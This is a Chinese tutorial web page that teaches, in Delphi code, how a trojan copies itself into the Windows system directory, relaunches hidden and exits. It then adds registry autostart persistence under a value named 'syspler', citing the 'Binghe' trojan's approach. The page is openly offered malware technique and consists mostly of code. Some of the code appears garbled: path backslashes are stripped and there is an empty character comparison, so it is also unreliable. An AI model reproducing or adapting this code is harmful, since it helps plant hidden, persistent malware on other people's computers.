Delphi實(shí)現(xiàn)木馬自我拷貝方法
木馬實(shí)現(xiàn)自我拷貝的原理是程序運(yùn)行時(shí)先查看自己是不是在特定目錄下,如果是就繼續(xù)運(yùn)行,如果不是就把自己拷貝到特定目錄下,然后運(yùn)行新程序,繼而退出舊程序.
本例即以Delphi實(shí)現(xiàn)木馬的自我拷貝。
首先打開(kāi)Delphi,新建一個(gè)工程,在窗口的Create事件中寫(xiě)入如下代碼:
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行WindowsSystem下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定義函數(shù),起功能是找出WindowsSystem的路徑.
function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'' then Result := Result + ''; end;
如何能使程序能在windows啟動(dòng)時(shí)自動(dòng)啟動(dòng)?
為了程序能在Windows每次啟動(dòng)時(shí)自動(dòng)運(yùn)行,可以通過(guò)以下途徑來(lái)實(shí)現(xiàn).“冰河”用注冊(cè)表的方式。
加入Registry單元,改寫(xiě)上面的窗口Create事件,改寫(xiě)后的程序如下:
procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//將自己拷貝到Windows/System32下}
Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行WindowsSystem下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end;
- Delphi7中群發(fā)Email郵件的方法
- delphi實(shí)現(xiàn)保存和讀取圖片的方法
- Delphi遠(yuǎn)程連接Mysql的實(shí)現(xiàn)方法
- Delphi創(chuàng)建開(kāi)機(jī)啟動(dòng)項(xiàng)的方法示例
- Delphi實(shí)現(xiàn)獲取句柄并發(fā)送消息的方法
- Delphi實(shí)現(xiàn)窗口文字淡入淡出漸變效果的方法
- Delphi實(shí)現(xiàn)獲取磁盤(pán)空間大小的方法
- Delphi中對(duì)時(shí)間操作方法匯總
- delphi7連接mysql5的實(shí)現(xiàn)方法
- delphi實(shí)現(xiàn)將BMP格式圖形轉(zhuǎn)化為JPG格式圖形的方法
相關(guān)文章
Delphi 實(shí)現(xiàn)軟件自動(dòng)升級(jí)的功能
這篇文章主要介紹了Delphi 實(shí)現(xiàn)軟件自動(dòng)升級(jí)的功能的相關(guān)資料,希望通過(guò)本文能幫助到大家實(shí)現(xiàn)這樣的功能,需要的朋友可以參考下2017-09-09
Delphi使用OpenGL2d繪圖之畫(huà)圖片Bmp的方法
這篇文章主要介紹了Delphi使用OpenGL2d繪圖之畫(huà)圖片Bmp的方法,需要的朋友可以參考下2014-07-07
delphi中一個(gè)值得大家來(lái)考慮的DLL問(wèn)題
在MDI窗體類型的編程中,主窗體(fsMDIForm)怎樣調(diào)用子窗體(fsMDIChild,此子窗體為DLL)。2008-03-03
Delphi實(shí)現(xiàn)獲取進(jìn)程列表及相關(guān)信息的實(shí)例
這篇文章主要介紹了Delphi實(shí)現(xiàn)獲取進(jìn)程列表及相關(guān)信息的實(shí)例,希望通過(guò)本文大家能實(shí)現(xiàn)這樣的功能,需要的朋友可以參考下2017-09-09
delphi中exit,abort,break,continue的區(qū)別介紹
本文詳細(xì)介紹下delphi中表示跳出的有break,continue, exit,abort, halt, runerror的區(qū)別,感興趣的朋友可以參考下哈,希望對(duì)你學(xué)習(xí)跳出有所幫助2013-04-04
mybatis in foreach雙層嵌套的問(wèn)題解決
在使用MyBatis進(jìn)行數(shù)據(jù)庫(kù)操作時(shí),有時(shí)候需要處理雙層嵌套的數(shù)據(jù)結(jié)構(gòu),本文主要介紹了mybatis in foreach雙層嵌套的問(wèn)題解決,具有一定的參考價(jià)值,感興趣的可以了解一下2024-01-01

